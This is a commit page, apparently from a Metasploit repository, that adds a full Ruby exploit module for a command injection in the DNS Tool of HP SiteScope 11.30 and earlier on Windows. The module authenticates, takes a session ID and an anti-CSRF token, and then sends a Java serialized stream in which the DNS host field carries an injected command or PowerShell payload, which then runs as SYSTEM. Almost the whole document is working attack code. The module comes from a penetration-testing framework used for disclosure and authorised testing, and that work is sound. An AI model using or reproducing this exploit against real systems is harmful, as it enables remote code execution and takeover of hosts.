HP SiteScope vuln, R7-2015-17
On behalf of @l0gan, already reviewed once by @jvazquez-r7, reviewed again by me. For details, see: https://community.rapid7.com/community/metasploit/blog/2017/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injectionbug/bundler_fix
parent
7a16f28969
commit
55ef6ebe91
|
@ -0,0 +1,196 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/powershell'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP SiteScope DNS Tool Command Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a command injection vulnerability
|
||||
discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26
|
||||
and 11.30). The vulnerability exists in the DNS Tool allowing an
|
||||
attacker to execute arbitrary commands in the context of the service. By
|
||||
default, HP SiteScope installs and runs as SYSTEM in Windows and does
|
||||
not require authentication. This vulnerability only exists on the
|
||||
Windows version. The Linux version is unaffected.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Kirk Hayes', # @kirkphayes / Vulnerability Discovery and MSF module author
|
||||
'Charles Riggs', # c0v3rt_chann3l / Vulnerability Discovery
|
||||
'Juan Vazquez' # help with MSF module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://community.rapid7.com/community/metasploit/blog/2017/10/09/r7-2015-17-hp-sitescope-dns-to'],
|
||||
['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'HP SiteScope 11.30 / Microsoft Windows 7 and higher',
|
||||
{
|
||||
'Arch' => [ARCH_X86_64, ARCH_X86]
|
||||
}
|
||||
],
|
||||
[ 'HP SiteScope 11.30 / CMD',
|
||||
{
|
||||
'Arch' => [ARCH_CMD]
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 9 2015'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('SITE_SCOPE_USER', [false, 'Username for authentication', '']),
|
||||
OptString.new('SITE_SCOPE_PASSWORD', [false, 'Password for authentication', '']),
|
||||
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
initial_session = get_initial_session_id
|
||||
redirect = authenticate(initial_session)
|
||||
session = get_authenticated_session_id(initial_session, redirect)
|
||||
csrf_token = get_csrf_token(session)
|
||||
|
||||
print_status("#{peer} - Executing payload")
|
||||
random_mark = Rex::Text.rand_text_alpha(5 + rand(5))
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'remoteProxy'),
|
||||
'method' => 'POST',
|
||||
'vars_get' => {
|
||||
'OWASP_CSRFTOKEN' => csrf_token
|
||||
},
|
||||
'cookie' => session,
|
||||
'ctype' => 'application/octet- serializable object',
|
||||
'data' => build_stream(random_mark)
|
||||
}, 5)
|
||||
|
||||
if res && res.code == 200 && res.body
|
||||
res_io = StringIO.new(res.body.to_s)
|
||||
res_stream = Rex::Java::Serialization::Model::Stream.decode(res_io)
|
||||
return if res_stream.nil?
|
||||
show = false
|
||||
res_stream.references.each do |ref|
|
||||
if ref.class == Rex::Java::Serialization::Model::Utf && show
|
||||
print_good(ref.contents)
|
||||
next
|
||||
elsif ref.class == Rex::Java::Serialization::Model::Utf && ref.contents.include?(random_mark)
|
||||
show = true
|
||||
next
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_initial_session_id
|
||||
print_status("#{peer} - Retrieving an initial JSESSIONID...")
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'servlet', 'Main'),
|
||||
'method' => 'POST'
|
||||
)
|
||||
|
||||
if res and res.code == 200 and res.get_cookies.include?('JSESSIONID')
|
||||
session_id = res.get_cookies
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Retrieve of initial JSESSIONID failed")
|
||||
end
|
||||
|
||||
session_id
|
||||
end
|
||||
|
||||
def authenticate(session_id)
|
||||
print_status("#{peer} - Authenticating on HP SiteScope Configuration...")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'j_security_check'),
|
||||
'method' => 'POST',
|
||||
'cookie' => session_id,
|
||||
'vars_post' => {
|
||||
'j_username' => datastore['SITE_SCOPE_USER'],
|
||||
'j_password' => datastore['SITE_SCOPE_PASSWORD']
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 302
|
||||
redirect = URI(res.headers['Location']).path
|
||||
else
|
||||
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
|
||||
end
|
||||
|
||||
redirect
|
||||
end
|
||||
|
||||
def get_authenticated_session_id(session_id, redirect)
|
||||
print_status("#{peer} - Following redirection to finish authentication...")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => redirect,
|
||||
'method' => 'GET',
|
||||
'cookie' => session_id
|
||||
})
|
||||
|
||||
if res && res.code == 200 && res.get_cookies.include?('JSESSIONID')
|
||||
auth_session = res.get_cookies
|
||||
else
|
||||
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
|
||||
end
|
||||
|
||||
auth_session
|
||||
end
|
||||
|
||||
def get_csrf_token(session)
|
||||
print_status("#{peer} - Getting anti-CSRF token...")
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'jsp', 'tabs.jsp'),
|
||||
'cookie' => session
|
||||
)
|
||||
|
||||
if res && res.code == 302 && res.headers['Location'] =~ /OWASP_CSRFTOKEN=([A-Z0-9\-]+)/
|
||||
csrf_token = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to get anti-CSRF token")
|
||||
end
|
||||
|
||||
csrf_token
|
||||
end
|
||||
|
||||
def build_stream(random_mark)
|
||||
site = "google.com & echo #{random_mark} & "
|
||||
if target.arch.include?('cmd')
|
||||
command = payload.encoded
|
||||
else
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
end
|
||||
|
||||
file = File.join( Msf::Config.data_directory, 'exploits', 'CVE-pending', 'stream.raw')
|
||||
|
||||
f = File.new(file, 'rb')
|
||||
stream = Rex::Java::Serialization::Model::Stream.decode(f)
|
||||
f.close
|
||||
|
||||
dns_param = stream.references[0x44]
|
||||
dns_param.contents = site + command
|
||||
dns_param.length = dns_param.contents.length
|
||||
|
||||
stream.encode
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue